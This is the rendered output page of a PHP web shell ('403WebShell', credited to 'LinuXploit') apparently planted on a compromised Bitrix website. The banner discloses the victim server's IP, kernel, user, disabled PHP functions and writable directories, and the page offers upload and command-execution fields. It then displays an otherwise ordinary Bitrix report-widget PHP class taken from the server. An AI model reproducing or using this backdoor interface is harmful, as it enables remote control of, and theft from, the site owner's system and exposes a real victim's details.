%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.118.1.25
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/lib/visualconstructor/handler/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/report/lib/visualconstructor/handler/basewidget.php
<?php

namespace Bitrix\Report\VisualConstructor\Handler;

use Bitrix\Report\VisualConstructor\Entity\Widget;
use Bitrix\Report\VisualConstructor\Fields;
use Bitrix\Report\VisualConstructor\Fields\Container;
use Bitrix\Report\VisualConstructor\Fields\Valuable\BaseValuable;
use Bitrix\Report\VisualConstructor\RuntimeProvider\ViewProvider;

/**
 * Class BaseWidget class for extending to create preset widget classes
 * @package Bitrix\Report\VisualConstructor\Handler
 */
class BaseWidget extends Base
{
	private $widget;
	private $reportHandlerList = array();

	/**
	 * @return string
	 */
	public static function getClassName()
	{
		return get_called_class();
	}

	/**
	 * BaseWidgetHandler constructor.
	 */
	public function __construct()
	{
		$widget = new Widget();
		$widget->setWidgetClass(static::getClassName());
		$this->setWidget($widget);
	}

	/**
	 * @return Fields\Base[]
	 */
	public function getCollectedFormElements()
	{
		parent::getCollectedFormElements();
		$this->getView()->collectWidgetHandlerFormElements($this);
		return $this->getFormElements();
	}

	/**
	 * Collecting form elements for configuration form.
	 *
	 * @return void
	 */
	protected function collectFormElements()
	{


	}

	/**
	 * @return Widget
	 */
	public function getWidget()
	{
		return $this->widget;
	}

	/**
	 * @param Widget $widget Widget entity.
	 * @return void
	 */
	public function setWidget($widget)
	{
		$this->widget = $widget;
	}

	/**
	 * @return Fields\Base[]
	 */
	public function getFormElements()
	{
		$result = array();
		foreach ($this->formElementsList as $key => $element)
		{
			$viewModesWhereFieldAvailable = $element->getCompatibleViewTypes();
			if ($viewModesWhereFieldAvailable != null)
			{
				$viewKey = $this->getWidget()->getViewKey();;
				$viewProvider = new ViewProvider();
				$viewProvider->addFilter('primary', $viewKey);
				$viewProvider->addFilter('dataType', $viewModesWhereFieldAvailable);
				$views = $viewProvider->execute()->getResults();
				if (!empty($views))
				{
					$result[$key] = $element;
				}
			}
			else
			{
				$result[$key] = $element;
			}
			if (($element instanceof BaseValuable) || ($element instanceof Container))
			{
				$element->setName($this->getNameForFormElement($element));
			}
		}
		return $result;
	}

	/**
	 * Construct and return form element name.
	 *
	 * @param BaseValuable $element Form element.
	 * @return string
	 */
	protected function getNameForFormElement(BaseValuable $element)
	{
		$name = '';
		if ($this->getWidget())
		{
			$name = 'widget[' . $this->getWidget()->getGId() . ']';
		}
		$name .= parent::getNameForFormElement($element);
		return $name;
	}

	/**
	 * @return BaseReport[]
	 */
	public function getReportHandlers()
	{
		return $this->reportHandlerList;
	}

	/**
	 * Attach report handler to widget handler.
	 *
	 * @param BaseReport $reportHandler Report handler.
	 * @return $this
	 */
	public function addReportHandler(BaseReport $reportHandler)
	{
		$reportHandler->setWidgetHandler($this);
		$this->getWidget()->addReportHandler($reportHandler);
		$this->reportHandlerList[] = $reportHandler;
		return $this;
	}

	/**
	 * Fill Widget handler entity with parameters from Widget entity.
	 *
	 * @param Widget $widget Widget handler.
	 * @return void
	 */
	public function fillWidget(Widget $widget)
	{
		$viewHandler = ViewProvider::getViewByViewKey($widget->getViewKey());
		if ($viewHandler)
		{
			$this->setView($viewHandler);
		}
		$this->setWidget($widget);
		$this->setConfigurations($widget->getConfigurations());
		$this->getCollectedFormElements();
		$this->fillFormElementValues();
		if ($widget->getReports())
		{
			foreach ($widget->getReports() as $report)
			{
				$this->reportHandlerList[] = $report->getReportHandler();
			}
		}
	}

	private function fillFormElementValues()
	{
		$formElements = $this->getFormElements();
		$configurations = $this->getConfigurations();
		if (!empty($configurations))
		{
			foreach ($configurations as $configuration)
			{
				if (isset($formElements[$configuration->getKey()]) && ($formElements[$configuration->getKey()] instanceof BaseValuable))
				{
					/** @var BaseValuable[] $formElements */
					$formElements[$configuration->getKey()]->setValue($configuration->getValue());
				}
			}
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit